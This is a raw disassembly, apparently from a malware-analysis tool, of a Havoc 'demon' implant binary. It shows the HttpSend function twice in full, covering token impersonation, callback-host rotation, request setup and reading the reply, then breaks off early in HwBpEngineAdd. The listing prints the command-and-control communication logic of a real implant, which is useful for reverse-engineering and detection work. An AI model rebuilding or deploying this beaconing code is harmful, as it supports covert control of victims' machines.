File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140015000
140015000HttpSend:
140015000push r15
140015002xor eax, eax
140015004mov r15, rcx
140015007mov ecx, 6
14001500cpush r14
14001500emov r14, rdx
140015011push r13
140015013push r12
140015015push rbp
140015016push rdi
140015017push rsi
140015018xor esi, esi
14001501apush rbx
14001501bxor ebx, ebx
14001501dsub rsp, 1208
140015024lea rdi, [rsp+88]
140015029mov [rsp+84], esi
14001502dlea rsi, [rsp+88]
140015032rep stosd [rdi], eax
140015034lea rdi, [rsp+112]
140015039mov ecx, 8
14001503emov [rsp+80], ebx
140015042rep stosd [rdi], eax
140015044lea rdi, [rsp+144]
14001504cmov ecx, 8
140015051rep stosd [rdi], eax
140015053xor edi, edi
140015055mov ecx, 252
14001505amov [rsp+176], rdi
140015062mov [rsp+184], rdi
14001506alea rdi, [rsp+192]
140015072rep stosd [rdi], eax
140015074call TokenImpersonate
140015079mov r13, [rip+0x172f0]
140015080cmp [r13+104], 0
140015085jne 0x1400150ae
140015087lea rcx, [rip+0x14eb6]
14001508elea r9, [rip+0x14f09]
140015095mov r8l, 38
14001509blea rdx, [rip+0x180fe]
1400150a2call printf
1400150a7xor ecx, ecx
1400150a9call CommandExit
1400150ae
1400150aeloc_1400150ae:
1400150aecmp [r13+16], 0
1400150b3jne 0x140015125
1400150b5cmp [r13+182], 0
1400150bdmov rax, [r13+1180]
1400150c4mov rcx, [r13+158]
1400150cbje 0x1400150e6
1400150cdxor r11l, r11l
1400150d0mov r8, [r13+186]
1400150d7xor r9l, r9l
1400150damov edx, 3
1400150dfmov [rsp+32], r11l
1400150e4jmp 0x1400150f9
1400150e6
1400150e6loc_1400150e6:
1400150e6xor r10l, r10l
1400150e9xor r9l, r9l
1400150ecxor r8l, r8l
1400150efmov edx, 1
1400150f4mov [rsp+32], r10l
1400150f9
1400150f9loc_1400150f9:
1400150f9call rax
1400150fbmov [r13+16], rax
1400150fftest rax, rax
140015102jne 0x140015125
140015104mov rax, [r13+2230]
14001510bmov r8l, 61
140015111lea rdx, [rip+0x18088]
140015118lea rcx, [rip+0x14ea1]
14001511fmov r9l, [rax+104]
140015123jmp 0x140015173
140015125
140015125loc_140015125:
140015125mov rax, [r13+104]
140015129mov rcx, [r13+16]
14001512dxor r9l, r9l
140015130movzx r8l, [rax+8]
140015135mov rdx, [rax]
140015138call [r13+1188]
14001513fmov [rsp+64], rax
140015144test rax, rax
140015147je 0x140015154
140015149mov rdi, [r13+166]
140015150xor ebx, ebx
140015152jmp 0x14001517d
140015154
140015154loc_140015154:
140015154mov rax, [r13+2230]
14001515bmov r8l, 71
140015161lea rdx, [rip+0x18038]
140015168lea rcx, [rip+0x14e7c]
14001516fmov r9l, [rax+104]
140015173
140015173loc_140015173:
140015173call printf
140015178jmp 0x14001521e
14001517d
14001517dloc_14001517d:
14001517dmov eax, ebx
14001517fcmp [rdi+8*rax], 0
140015184je 0x14001518a
140015186inc ebx
140015188jmp 0x14001517d
14001518a
14001518aloc_14001518a:
14001518acall RandomNumber32
14001518fxor edx, edx
140015191mov [rsp+80], 256
140015199div ebx
14001519bcmp [r13+154], 0
1400151a3mov rax, [rdi+8*rdx]
1400151a7mov [rsp+72], rax
1400151acje 0x1400151b6
1400151aemov [rsp+80], 0x800100
1400151b6
1400151b6loc_1400151b6:
1400151b6mov eax, [rsp+80]
1400151baxor r9l, r9l
1400151bdmov r8, [rsp+72]
1400151c2mov rdx, [r13+136]
1400151c9mov rcx, [rsp+64]
1400151cemov [rsp+40], r9
1400151d3mov [rsp+32], r9
1400151d8xor r9l, r9l
1400151dbmov [rsp+48], eax
1400151dfcall [r13+1196]
1400151e6mov rbx, rax
1400151e9test rax, rax
1400151ecjne 0x140015225
1400151eemov rax, [r13+2230]
1400151f5lea rcx, [rip+0x14e1d]
1400151fcmov r8l, 93
140015202lea rdx, [rip+0x17f97]
140015209mov r9l, [rax+104]
14001520dcall printf
140015212mov rcx, [rsp+64]
140015217call [r13+1212]
14001521e
14001521eloc_14001521e:
14001521exor esi, esi
140015220jmp 0x14001576a
140015225
140015225loc_140015225:
140015225cmp [r13+154], 0
14001522dje 0x140015279
14001522fmov [rsp+80], 13056
140015237mov r9l, 4
14001523dlea r8, [rsp+80]
140015242mov rcx, rax
140015245mov edx, 31
14001524acall [r13+1204]
140015251test eax, eax
140015253jne 0x140015279
140015255mov rax, [r13+2230]
14001525cmov r8l, 107
140015262lea rdx, [rip+0x17f37]
140015269lea rcx, [rip+0x14ddb]
140015270mov r9l, [rax+104]
140015274call printf
140015279
140015279loc_140015279:
140015279xor edi, edi
14001527blea rbp, [rip+0x14df9]
140015282
140015282loc_140015282:
140015282mov rdx, [r13+174]
140015289mov eax, edi
14001528bmov r12, [rdx+8*rax]
14001528ftest r12, r12
140015292je 0x1400152cb
140015294or r8l, -1
140015298mov r9l, 0x20000000
14001529emov rdx, r12
1400152a1mov rcx, rbx
1400152a4call [r13+1228]
1400152abtest eax, eax
1400152adjne 0x1400152c7
1400152afmov r9, r12
1400152b2mov r8l, 121
1400152b8lea rdx, [rip+0x17ee1]
1400152bfmov rcx, rbp
1400152c2call printf
1400152c7
1400152c7loc_1400152c7:
1400152c7inc edi
1400152c9jmp 0x140015282
1400152cb
1400152cbloc_1400152cb:
1400152cbcmp [r13+182], 0
1400152d3je 0x1400153e2
1400152d9mov rax, [r13+186]
1400152e0mov r9l, 24
1400152e6mov r8, rsi
1400152e9mov rcx, rbx
1400152ecmov [rsp+88], 3
1400152f4mov edx, 38
1400152f9mov [rsp+96], rax
1400152fecall [r13+1204]
140015305test eax, eax
140015307jne 0x14001532d
140015309mov rax, [r13+2230]
140015310mov r8l, 135
140015316lea rdx, [rip+0x17e83]
14001531dlea rcx, [rip+0x14d27]
140015324mov r9l, [rax+104]
140015328call printf
14001532d
14001532dloc_14001532d:
14001532dmov rcx, [r13+194]
140015334test rcx, rcx
140015337je 0x140015381
140015339mov rsi, [r13+1204]
140015340call StringLengthW
140015345mov r8, [r13+194]
14001534cmov edx, 4098
140015351mov rcx, rbx
140015354mov r9l, eax
140015357call rsi
140015359test eax, eax
14001535bjne 0x140015381
14001535dmov rax, [r13+2230]
140015364mov r8l, 142
14001536alea rdx, [rip+0x17e2f]
140015371lea rcx, [rip+0x14d2d]
140015378mov r9l, [rax+104]
14001537ccall printf
140015381
140015381loc_140015381:
140015381mov rcx, [r13+202]
140015388test rcx, rcx
14001538bje 0x1400155c2
140015391mov rsi, [r13+1204]
140015398call StringLengthW
14001539dmov r8, [r13+202]
1400153a4mov edx, 4099
1400153a9mov rcx, rbx
1400153acmov r9l, eax
1400153afcall rsi
1400153b1test eax, eax
1400153b3jne 0x1400155c2
1400153b9mov rax, [r13+2230]
1400153c0mov r8l, 150
1400153c6lea rdx, [rip+0x17dd3]
1400153cdlea rcx, [rip+0x14d01]
1400153d4mov r9l, [rax+104]
1400153d8call printf
1400153ddjmp 0x1400155c2
1400153e2
1400153e2loc_1400153e2:
1400153e2cmp [r13+24], 0
1400153e7jne 0x1400155c2
1400153edxor r8l, r8l
1400153f0mov rcx, [r13+16]
1400153f4mov rdx, [rsp+72]
1400153f9mov r9, rsi
1400153fclea rdi, [rsp+144]
140015404mov [rsp+152], r8
14001540cmov rax, 0x300000001
140015416mov [rsp+144], rax
14001541emov eax, 1
140015423shl rax, 32
140015427mov [rsp+160], r8
14001542fmov r8, rdi
140015432mov [rsp+168], rax
14001543acall [r13+1268]
140015441mov rbp, [rip+0x16f28]
140015448test eax, eax
14001544aje 0x140015465
14001544cmov r9, [rsp+96]
140015451mov r8l, 175
140015457test r9, r9
14001545ajne 0x140015583
140015460jmp 0x140015596
140015465
140015465loc_140015465:
140015465lea rcx, [rsp+112]
14001546acall [r13+1260]
140015471test eax, eax
140015473je 0x1400155bb
140015479mov rcx, [rsp+128]
140015481test rcx, rcx
140015484je 0x14001550c
14001548acall StringLengthW
14001548ftest rax, rax
140015492je 0x14001550c
140015494mov r9, [rsp+128]
14001549cmov rax, [rsp+136]
1400154a4mov r8l, 194
1400154aalea rdx, [rip+0x17cef]
1400154b1lea rcx, [rip+0x14c6e]
1400154b8mov [rsp+88], 3
1400154c0mov [rsp+96], r9
1400154c5mov [rsp+104], rax
1400154cacall printf
1400154cfmov ecx, 64
1400154d4mov edx, 24
1400154d9mov [r13+36], 24
1400154e1call [r13+932]
1400154e8mov rcx, [r13+36]
1400154ecmov [r13+28], rax
1400154f0mov rdi, rax
1400154f3rep movsb [rdi], [rsi]
1400154f5xor ecx, ecx
1400154f7mov [rsp+128], rcx
1400154ffmov [rsp+136], rcx
140015507jmp 0x1400155bb
14001550c
14001550cloc_14001550c:
14001550cmov rcx, [rsp+120]
140015511test rcx, rcx
140015514je 0x1400155bb
14001551acall StringLengthW
14001551ftest rax, rax
140015522je 0x1400155bb
140015528mov r9, [rsp+120]
14001552dmov r8l, 211
140015533lea rdx, [rip+0x17c66]
14001553alea rcx, [rip+0x14c09]
140015541mov [rsp+144], 2
14001554dmov [rsp+152], r9
140015555call printf
14001555amov rcx, [rbp+16]
14001555emov r9, rsi
140015561mov r8, rdi
140015564mov rdx, [rsp+72]
140015569call [rbp+1268]
14001556ftest eax, eax
140015571je 0x1400155bb
140015573mov r9, [rsp+96]
140015578test r9, r9
14001557bje 0x140015596
14001557dmov r8l, 216
140015583
140015583loc_140015583:
140015583lea rdx, [rip+0x17c16]
14001558alea rcx, [rip+0x14b74]
140015591call printf
140015596
140015596loc_140015596:
140015596mov ecx, 64
14001559bmov [rbp+36], 24
1400155a3mov edx, 24
1400155a8call [rbp+932]
1400155aemov rcx, [rbp+36]
1400155b2mov [rbp+28], rax
1400155b6mov rdi, rax
1400155b9rep movsb [rdi], [rsi]
1400155bb
1400155bbloc_1400155bb:
1400155bbmov [rbp+24], 1
1400155c2
1400155c2loc_1400155c2:
1400155c2mov rbp, [rip+0x16da7]
1400155c9mov r8, [rbp+28]
1400155cdtest r8, r8
1400155d0je 0x14001560c
1400155d2mov r9l, [rbp+36]
1400155d6mov edx, 38
1400155dbmov rcx, rbx
1400155decall [rbp+1204]
1400155e4test eax, eax
1400155e6jne 0x14001560c
1400155e8mov rax, [rbp+2230]
1400155efmov r8l, 239
1400155f5lea rdx, [rip+0x17ba4]
1400155fclea rcx, [rip+0x14a48]
140015603mov r9l, [rax+104]
140015607call printf
14001560c
14001560cloc_14001560c:
14001560cmov eax, [r15+8]
140015610xor edx, edx
140015612xor r8l, r8l
140015615mov rcx, rbx
140015618mov [rsp+48], rdx
14001561dxor edx, edx
14001561fmov [rsp+40], eax
140015623mov [rsp+32], eax
140015627mov r9, [r15]
14001562acall [rbp+1220]
140015630test eax, eax
140015632je 0x140015722
140015638xor edx, edx
14001563amov rcx, rbx
14001563dcall [rbp+1236]
140015643test eax, eax
140015645je 0x14001571b
14001564bmov rcx, rbx
14001564ecall HttpQueryStatus
140015653cmp eax, 200
140015658je 0x14001567f
14001565alea r9, [rip+0x14b35]
140015661mov r8l, 251
140015667lea rdx, [rip+0x17b32]
14001566elea rcx, [rip+0x148cf]
140015675call printf
14001567ajmp 0x140015754
14001567f
14001567floc_14001567f:
14001567ftest r14, r14
140015682je 0x14001571b
140015688lea rax, [rsp+84]
14001568dxor edi, edi
14001568fmov [rsp+72], rax
140015694lea rax, [rsp+176]
14001569cmov r13, rax
14001569f
14001569floc_14001569f:
14001569fmov r9, [rsp+72]
1400156a4mov r8l, 1024
1400156aamov rdx, r13
1400156admov rcx, rbx
1400156b0call [rbp+1244]
1400156b6mov r15l, eax
1400156b9test eax, eax
1400156bbje 0x140015714
1400156bdmov edx, [rsp+84]
1400156c1test edx, edx
1400156c3je 0x140015714
1400156c5test r12, r12
1400156c8jne 0x1400156d7
1400156camov ecx, 64
1400156cfcall [rbp+932]
1400156d5jmp 0x1400156e9
1400156d7
1400156d7loc_1400156d7:
1400156d7add rdx, rdi
1400156damov r8l, 66
1400156e0mov rcx, r12
1400156e3call [rbp+948]
1400156e9
1400156e9loc_1400156e9:
1400156e9mov ecx, [rsp+84]
1400156edmov r12, rax
1400156f0lea rax, [rax+rdi]
1400156f4mov rsi, r13
1400156f7lea rdx, [rcx+rdi]
1400156fbmov rdi, rax
1400156fexor eax, eax
140015700rep movsb [rdi], [rsi]
140015702mov rdi, r13
140015705mov ecx, 1024
14001570arep stosb [rdi], al
14001570cdec r15l
14001570fmov rdi, rdx
140015712je 0x14001569f
140015714
140015714loc_140015714:
140015714mov [r14+8], edi
140015718mov [r14], r12
14001571b
14001571bloc_14001571b:
14001571bmov esi, 1
140015720jmp 0x140015756
140015722
140015722loc_140015722:
140015722mov rax, [rbp+2230]
140015729mov r9l, [rax+104]
14001572dcmp r9l, 12029
140015734jne 0x14001573b
140015736xor eax, eax
140015738mov [rbp+72], eax
14001573b
14001573bloc_14001573b:
14001573bmov r8l, 290
140015741lea rdx, [rip+0x17a58]
140015748lea rcx, [rip+0x14a7b]
14001574fcall printf
140015754
140015754loc_140015754:
140015754xor esi, esi
140015756
140015756loc_140015756:
140015756mov rcx, [rsp+64]
14001575bcall [rbp+1212]
140015761mov rcx, rbx
140015764call [rbp+1212]
14001576a
14001576aloc_14001576a:
14001576amov rcx, [rsp+128]
140015772test rcx, rcx
140015775je 0x140015784
140015777mov rax, [rip+0x16bf2]
14001577ecall [rax+1172]
140015784
140015784loc_140015784:
140015784mov rcx, [rsp+136]
14001578ctest rcx, rcx
14001578fje 0x14001579e
140015791mov rax, [rip+0x16bd8]
140015798call [rax+1172]
14001579e
14001579eloc_14001579e:
14001579emov rcx, [rsp+120]
1400157a3test rcx, rcx
1400157a6je 0x1400157b5
1400157a8mov rax, [rip+0x16bc1]
1400157afcall [rax+1172]
1400157b5
1400157b5loc_1400157b5:
1400157b5mov ecx, 1
1400157bacall TokenImpersonate
1400157bftest esi, esi
1400157c1jne 0x1400157d7
1400157c3mov rbx, [rip+0x16ba6]
1400157camov rcx, [rbx+104]
1400157cecall HostFailure
1400157d3mov [rbx+104], rax
1400157d7
1400157d7loc_1400157d7:
1400157d7add rsp, 1208
1400157demov eax, esi
1400157e0pop rbx
1400157e1pop rsi
1400157e2pop rdi
1400157e3pop rbp
1400157e4pop r12
1400157e6pop r13
1400157e8pop r14
1400157eapop r15
1400157ecret
140015000
140015000HttpSend:
140015000push r15
140015002xor eax, eax
140015004mov r15, rcx
140015007mov ecx, 6
14001500cpush r14
14001500emov r14, rdx
140015011push r13
140015013push r12
140015015push rbp
140015016push rdi
140015017push rsi
140015018xor esi, esi
14001501apush rbx
14001501bxor ebx, ebx
14001501dsub rsp, 1208
140015024lea rdi, [rsp+88]
140015029mov [rsp+84], esi
14001502dlea rsi, [rsp+88]
140015032rep stosd [rdi], eax
140015034lea rdi, [rsp+112]
140015039mov ecx, 8
14001503emov [rsp+80], ebx
140015042rep stosd [rdi], eax
140015044lea rdi, [rsp+144]
14001504cmov ecx, 8
140015051rep stosd [rdi], eax
140015053xor edi, edi
140015055mov ecx, 252
14001505amov [rsp+176], rdi
140015062mov [rsp+184], rdi
14001506alea rdi, [rsp+192]
140015072rep stosd [rdi], eax
140015074call TokenImpersonate
140015079mov r13, [rip+0x172f0]
140015080cmp [r13+104], 0
140015085jne 0x1400150ae
140015087lea rcx, [rip+0x14eb6]
14001508elea r9, [rip+0x14f09]
140015095mov r8l, 38
14001509blea rdx, [rip+0x180fe]
1400150a2call printf
1400150a7xor ecx, ecx
1400150a9call CommandExit
1400150ae
1400150aeloc_1400150ae:
1400150aecmp [r13+16], 0
1400150b3jne 0x140015125
1400150b5cmp [r13+182], 0
1400150bdmov rax, [r13+1180]
1400150c4mov rcx, [r13+158]
1400150cbje 0x1400150e6
1400150cdxor r11l, r11l
1400150d0mov r8, [r13+186]
1400150d7xor r9l, r9l
1400150damov edx, 3
1400150dfmov [rsp+32], r11l
1400150e4jmp 0x1400150f9
1400150e6
1400150e6loc_1400150e6:
1400150e6xor r10l, r10l
1400150e9xor r9l, r9l
1400150ecxor r8l, r8l
1400150efmov edx, 1
1400150f4mov [rsp+32], r10l
1400150f9
1400150f9loc_1400150f9:
1400150f9call rax
1400150fbmov [r13+16], rax
1400150fftest rax, rax
140015102jne 0x140015125
140015104mov rax, [r13+2230]
14001510bmov r8l, 61
140015111lea rdx, [rip+0x18088]
140015118lea rcx, [rip+0x14ea1]
14001511fmov r9l, [rax+104]
140015123jmp 0x140015173
140015125
140015125loc_140015125:
140015125mov rax, [r13+104]
140015129mov rcx, [r13+16]
14001512dxor r9l, r9l
140015130movzx r8l, [rax+8]
140015135mov rdx, [rax]
140015138call [r13+1188]
14001513fmov [rsp+64], rax
140015144test rax, rax
140015147je 0x140015154
140015149mov rdi, [r13+166]
140015150xor ebx, ebx
140015152jmp 0x14001517d
140015154
140015154loc_140015154:
140015154mov rax, [r13+2230]
14001515bmov r8l, 71
140015161lea rdx, [rip+0x18038]
140015168lea rcx, [rip+0x14e7c]
14001516fmov r9l, [rax+104]
140015173
140015173loc_140015173:
140015173call printf
140015178jmp 0x14001521e
14001517d
14001517dloc_14001517d:
14001517dmov eax, ebx
14001517fcmp [rdi+8*rax], 0
140015184je 0x14001518a
140015186inc ebx
140015188jmp 0x14001517d
14001518a
14001518aloc_14001518a:
14001518acall RandomNumber32
14001518fxor edx, edx
140015191mov [rsp+80], 256
140015199div ebx
14001519bcmp [r13+154], 0
1400151a3mov rax, [rdi+8*rdx]
1400151a7mov [rsp+72], rax
1400151acje 0x1400151b6
1400151aemov [rsp+80], 0x800100
1400151b6
1400151b6loc_1400151b6:
1400151b6mov eax, [rsp+80]
1400151baxor r9l, r9l
1400151bdmov r8, [rsp+72]
1400151c2mov rdx, [r13+136]
1400151c9mov rcx, [rsp+64]
1400151cemov [rsp+40], r9
1400151d3mov [rsp+32], r9
1400151d8xor r9l, r9l
1400151dbmov [rsp+48], eax
1400151dfcall [r13+1196]
1400151e6mov rbx, rax
1400151e9test rax, rax
1400151ecjne 0x140015225
1400151eemov rax, [r13+2230]
1400151f5lea rcx, [rip+0x14e1d]
1400151fcmov r8l, 93
140015202lea rdx, [rip+0x17f97]
140015209mov r9l, [rax+104]
14001520dcall printf
140015212mov rcx, [rsp+64]
140015217call [r13+1212]
14001521e
14001521eloc_14001521e:
14001521exor esi, esi
140015220jmp 0x14001576a
140015225
140015225loc_140015225:
140015225cmp [r13+154], 0
14001522dje 0x140015279
14001522fmov [rsp+80], 13056
140015237mov r9l, 4
14001523dlea r8, [rsp+80]
140015242mov rcx, rax
140015245mov edx, 31
14001524acall [r13+1204]
140015251test eax, eax
140015253jne 0x140015279
140015255mov rax, [r13+2230]
14001525cmov r8l, 107
140015262lea rdx, [rip+0x17f37]
140015269lea rcx, [rip+0x14ddb]
140015270mov r9l, [rax+104]
140015274call printf
140015279
140015279loc_140015279:
140015279xor edi, edi
14001527blea rbp, [rip+0x14df9]
140015282
140015282loc_140015282:
140015282mov rdx, [r13+174]
140015289mov eax, edi
14001528bmov r12, [rdx+8*rax]
14001528ftest r12, r12
140015292je 0x1400152cb
140015294or r8l, -1
140015298mov r9l, 0x20000000
14001529emov rdx, r12
1400152a1mov rcx, rbx
1400152a4call [r13+1228]
1400152abtest eax, eax
1400152adjne 0x1400152c7
1400152afmov r9, r12
1400152b2mov r8l, 121
1400152b8lea rdx, [rip+0x17ee1]
1400152bfmov rcx, rbp
1400152c2call printf
1400152c7
1400152c7loc_1400152c7:
1400152c7inc edi
1400152c9jmp 0x140015282
1400152cb
1400152cbloc_1400152cb:
1400152cbcmp [r13+182], 0
1400152d3je 0x1400153e2
1400152d9mov rax, [r13+186]
1400152e0mov r9l, 24
1400152e6mov r8, rsi
1400152e9mov rcx, rbx
1400152ecmov [rsp+88], 3
1400152f4mov edx, 38
1400152f9mov [rsp+96], rax
1400152fecall [r13+1204]
140015305test eax, eax
140015307jne 0x14001532d
140015309mov rax, [r13+2230]
140015310mov r8l, 135
140015316lea rdx, [rip+0x17e83]
14001531dlea rcx, [rip+0x14d27]
140015324mov r9l, [rax+104]
140015328call printf
14001532d
14001532dloc_14001532d:
14001532dmov rcx, [r13+194]
140015334test rcx, rcx
140015337je 0x140015381
140015339mov rsi, [r13+1204]
140015340call StringLengthW
140015345mov r8, [r13+194]
14001534cmov edx, 4098
140015351mov rcx, rbx
140015354mov r9l, eax
140015357call rsi
140015359test eax, eax
14001535bjne 0x140015381
14001535dmov rax, [r13+2230]
140015364mov r8l, 142
14001536alea rdx, [rip+0x17e2f]
140015371lea rcx, [rip+0x14d2d]
140015378mov r9l, [rax+104]
14001537ccall printf
140015381
140015381loc_140015381:
140015381mov rcx, [r13+202]
140015388test rcx, rcx
14001538bje 0x1400155c2
140015391mov rsi, [r13+1204]
140015398call StringLengthW
14001539dmov r8, [r13+202]
1400153a4mov edx, 4099
1400153a9mov rcx, rbx
1400153acmov r9l, eax
1400153afcall rsi
1400153b1test eax, eax
1400153b3jne 0x1400155c2
1400153b9mov rax, [r13+2230]
1400153c0mov r8l, 150
1400153c6lea rdx, [rip+0x17dd3]
1400153cdlea rcx, [rip+0x14d01]
1400153d4mov r9l, [rax+104]
1400153d8call printf
1400153ddjmp 0x1400155c2
1400153e2
1400153e2loc_1400153e2:
1400153e2cmp [r13+24], 0
1400153e7jne 0x1400155c2
1400153edxor r8l, r8l
1400153f0mov rcx, [r13+16]
1400153f4mov rdx, [rsp+72]
1400153f9mov r9, rsi
1400153fclea rdi, [rsp+144]
140015404mov [rsp+152], r8
14001540cmov rax, 0x300000001
140015416mov [rsp+144], rax
14001541emov eax, 1
140015423shl rax, 32
140015427mov [rsp+160], r8
14001542fmov r8, rdi
140015432mov [rsp+168], rax
14001543acall [r13+1268]
140015441mov rbp, [rip+0x16f28]
140015448test eax, eax
14001544aje 0x140015465
14001544cmov r9, [rsp+96]
140015451mov r8l, 175
140015457test r9, r9
14001545ajne 0x140015583
140015460jmp 0x140015596
140015465
140015465loc_140015465:
140015465lea rcx, [rsp+112]
14001546acall [r13+1260]
140015471test eax, eax
140015473je 0x1400155bb
140015479mov rcx, [rsp+128]
140015481test rcx, rcx
140015484je 0x14001550c
14001548acall StringLengthW
14001548ftest rax, rax
140015492je 0x14001550c
140015494mov r9, [rsp+128]
14001549cmov rax, [rsp+136]
1400154a4mov r8l, 194
1400154aalea rdx, [rip+0x17cef]
1400154b1lea rcx, [rip+0x14c6e]
1400154b8mov [rsp+88], 3
1400154c0mov [rsp+96], r9
1400154c5mov [rsp+104], rax
1400154cacall printf
1400154cfmov ecx, 64
1400154d4mov edx, 24
1400154d9mov [r13+36], 24
1400154e1call [r13+932]
1400154e8mov rcx, [r13+36]
1400154ecmov [r13+28], rax
1400154f0mov rdi, rax
1400154f3rep movsb [rdi], [rsi]
1400154f5xor ecx, ecx
1400154f7mov [rsp+128], rcx
1400154ffmov [rsp+136], rcx
140015507jmp 0x1400155bb
14001550c
14001550cloc_14001550c:
14001550cmov rcx, [rsp+120]
140015511test rcx, rcx
140015514je 0x1400155bb
14001551acall StringLengthW
14001551ftest rax, rax
140015522je 0x1400155bb
140015528mov r9, [rsp+120]
14001552dmov r8l, 211
140015533lea rdx, [rip+0x17c66]
14001553alea rcx, [rip+0x14c09]
140015541mov [rsp+144], 2
14001554dmov [rsp+152], r9
140015555call printf
14001555amov rcx, [rbp+16]
14001555emov r9, rsi
140015561mov r8, rdi
140015564mov rdx, [rsp+72]
140015569call [rbp+1268]
14001556ftest eax, eax
140015571je 0x1400155bb
140015573mov r9, [rsp+96]
140015578test r9, r9
14001557bje 0x140015596
14001557dmov r8l, 216
140015583
140015583loc_140015583:
140015583lea rdx, [rip+0x17c16]
14001558alea rcx, [rip+0x14b74]
140015591call printf
140015596
140015596loc_140015596:
140015596mov ecx, 64
14001559bmov [rbp+36], 24
1400155a3mov edx, 24
1400155a8call [rbp+932]
1400155aemov rcx, [rbp+36]
1400155b2mov [rbp+28], rax
1400155b6mov rdi, rax
1400155b9rep movsb [rdi], [rsi]
1400155bb
1400155bbloc_1400155bb:
1400155bbmov [rbp+24], 1
1400155c2
1400155c2loc_1400155c2:
1400155c2mov rbp, [rip+0x16da7]
1400155c9mov r8, [rbp+28]
1400155cdtest r8, r8
1400155d0je 0x14001560c
1400155d2mov r9l, [rbp+36]
1400155d6mov edx, 38
1400155dbmov rcx, rbx
1400155decall [rbp+1204]
1400155e4test eax, eax
1400155e6jne 0x14001560c
1400155e8mov rax, [rbp+2230]
1400155efmov r8l, 239
1400155f5lea rdx, [rip+0x17ba4]
1400155fclea rcx, [rip+0x14a48]
140015603mov r9l, [rax+104]
140015607call printf
14001560c
14001560cloc_14001560c:
14001560cmov eax, [r15+8]
140015610xor edx, edx
140015612xor r8l, r8l
140015615mov rcx, rbx
140015618mov [rsp+48], rdx
14001561dxor edx, edx
14001561fmov [rsp+40], eax
140015623mov [rsp+32], eax
140015627mov r9, [r15]
14001562acall [rbp+1220]
140015630test eax, eax
140015632je 0x140015722
140015638xor edx, edx
14001563amov rcx, rbx
14001563dcall [rbp+1236]
140015643test eax, eax
140015645je 0x14001571b
14001564bmov rcx, rbx
14001564ecall HttpQueryStatus
140015653cmp eax, 200
140015658je 0x14001567f
14001565alea r9, [rip+0x14b35]
140015661mov r8l, 251
140015667lea rdx, [rip+0x17b32]
14001566elea rcx, [rip+0x148cf]
140015675call printf
14001567ajmp 0x140015754
14001567f
14001567floc_14001567f:
14001567ftest r14, r14
140015682je 0x14001571b
140015688lea rax, [rsp+84]
14001568dxor edi, edi
14001568fmov [rsp+72], rax
140015694lea rax, [rsp+176]
14001569cmov r13, rax
14001569f
14001569floc_14001569f:
14001569fmov r9, [rsp+72]
1400156a4mov r8l, 1024
1400156aamov rdx, r13
1400156admov rcx, rbx
1400156b0call [rbp+1244]
1400156b6mov r15l, eax
1400156b9test eax, eax
1400156bbje 0x140015714
1400156bdmov edx, [rsp+84]
1400156c1test edx, edx
1400156c3je 0x140015714
1400156c5test r12, r12
1400156c8jne 0x1400156d7
1400156camov ecx, 64
1400156cfcall [rbp+932]
1400156d5jmp 0x1400156e9
1400156d7
1400156d7loc_1400156d7:
1400156d7add rdx, rdi
1400156damov r8l, 66
1400156e0mov rcx, r12
1400156e3call [rbp+948]
1400156e9
1400156e9loc_1400156e9:
1400156e9mov ecx, [rsp+84]
1400156edmov r12, rax
1400156f0lea rax, [rax+rdi]
1400156f4mov rsi, r13
1400156f7lea rdx, [rcx+rdi]
1400156fbmov rdi, rax
1400156fexor eax, eax
140015700rep movsb [rdi], [rsi]
140015702mov rdi, r13
140015705mov ecx, 1024
14001570arep stosb [rdi], al
14001570cdec r15l
14001570fmov rdi, rdx
140015712je 0x14001569f
140015714
140015714loc_140015714:
140015714mov [r14+8], edi
140015718mov [r14], r12
14001571b
14001571bloc_14001571b:
14001571bmov esi, 1
140015720jmp 0x140015756
140015722
140015722loc_140015722:
140015722mov rax, [rbp+2230]
140015729mov r9l, [rax+104]
14001572dcmp r9l, 12029
140015734jne 0x14001573b
140015736xor eax, eax
140015738mov [rbp+72], eax
14001573b
14001573bloc_14001573b:
14001573bmov r8l, 290
140015741lea rdx, [rip+0x17a58]
140015748lea rcx, [rip+0x14a7b]
14001574fcall printf
140015754
140015754loc_140015754:
140015754xor esi, esi
140015756
140015756loc_140015756:
140015756mov rcx, [rsp+64]
14001575bcall [rbp+1212]
140015761mov rcx, rbx
140015764call [rbp+1212]
14001576a
14001576aloc_14001576a:
14001576amov rcx, [rsp+128]
140015772test rcx, rcx
140015775je 0x140015784
140015777mov rax, [rip+0x16bf2]
14001577ecall [rax+1172]
140015784
140015784loc_140015784:
140015784mov rcx, [rsp+136]
14001578ctest rcx, rcx
14001578fje 0x14001579e
140015791mov rax, [rip+0x16bd8]
140015798call [rax+1172]
14001579e
14001579eloc_14001579e:
14001579emov rcx, [rsp+120]
1400157a3test rcx, rcx
1400157a6je 0x1400157b5
1400157a8mov rax, [rip+0x16bc1]
1400157afcall [rax+1172]
1400157b5
1400157b5loc_1400157b5:
1400157b5mov ecx, 1
1400157bacall TokenImpersonate
1400157bftest esi, esi
1400157c1jne 0x1400157d7
1400157c3mov rbx, [rip+0x16ba6]
1400157camov rcx, [rbx+104]
1400157cecall HostFailure
1400157d3mov [rbx+104], rax
1400157d7
1400157d7loc_1400157d7:
1400157d7add rsp, 1208
1400157demov eax, esi
1400157e0pop rbx
1400157e1pop rsi
1400157e2pop rdi
1400157e3pop rbp
1400157e4pop r12
1400157e6pop r13
1400157e8pop r14
1400157eapop r15
1400157ecret
140015000
1400157ed
1400157ed // align 0x10
1400157ed // align 0x10
1400157f0
1400157f0HwBpEngineAdd:
1400157f0push r15
1400157f2push r14
1400157f4push r13
1400157f6push r12
1400157f8mov r12, r9
1400157fbpush rbp
1400157fcmov ebp, edx
1400157fepush rdi
1400157ffmov rdi, r8
140015802push rsi
140015803mov rsi, rcx
140015806push rbx
140015807sub rsp, 72
14001580bmov r15l, [rsp+176]
140015813mov [rsp+48], r9
140015818mov r9, rcx
14001581blea rcx, [rip+0x127e4]
140015822mov [rsp+40], r8
140015827mov r8l, 162
14001582dmovzx r14l, r15b
140015831mov [rsp+32], edx
140015835lea rdx, [rip+0x16fb4]
14001583cmov [rsp+56], r14l
140015841call printf
140015846test rsi, rsi
140015849jne 0x140015867
14001584bmov rax, [rip+0x16b1e]
140015852mov rsi, [rax+2342]
140015859mov eax, 0xffffffffc000000d
14001585etest rsi, rsi
140015861je 0x140015946
140015867
140015867loc_140015867:
140015867test rdi, rdi
14001586aje 0x140015941
140015870test r12, r12
140015873je 0x140015941
140015879mov r13, [rip+0x16af0]
140015880mov r8l, 40
140015886mov edx, 8
14001588bmov rax, [r13+2230]
